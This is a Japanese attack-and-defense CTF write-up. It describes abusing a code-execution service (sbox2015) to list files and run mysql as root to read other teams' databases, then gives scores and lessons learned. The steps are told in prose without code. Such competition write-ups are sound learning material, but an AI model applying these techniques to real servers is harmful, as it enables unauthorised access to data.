次にsbox2015の脆弱性を探し始めます。sbox2015でruby, php, pythonのコードを投稿すると、ランダムな数字が返され、その数字を同じアプリに渡すとコードが実行できるようになる。とりあえすlsを実行して一覧を取得し、何か無いかを探しました。vulnerable_blogのSQLiが修正されたサーバーについては、sbox2015のコード実行でkeycodeを取得しました。一部のチームはコード実行をできなくしたり、管理者ページにアクセスできなくしたりしていました。
チームメンバーがsbox2015により攻撃された際のコードを保存しておいてくれたので、それと同じ方法で他のチームに攻撃を開始しました。攻撃はmysqlコマンドをrootで実行することにより、他の問題のデータベースの内容を取得しました。自チームではrootでの実行を禁止することで対策しました。(チームメンバーがやってくれました)

他の問題などで脆弱性を突かれて防御点が大きく原点されていたようで、8000点以上の攻撃点を得たものの防御点は-7000点以上になっており、結果は18チーム中の15位でした。

今回のA&Dで分かったことは以下のことです。
・防御専門のメンバーを作る
・フラグの取得は自動化する
・サービスを中途半端に止めるなら、ずっと稼働させておく方が良い
・相手の攻撃から攻撃手法を知ることもできる
・相手の攻撃よりも先に自分のサーバーの修正をする
・上位チームを狙った方が点数はかなり稼ぎやすい

・チームで全部の問題を同時に担当する。(1つでも放置しておくと、それを通して他の問題のフラグも取られる)

とにかく難しかったですが、新しいことばかりで面白かったです。それから可視化システムは相変わらず格好良かったです。参加者のみなさん、運営のみなさん、その他関連している方々、お疲れ様でした。(internationalの方もお疲れさまです。)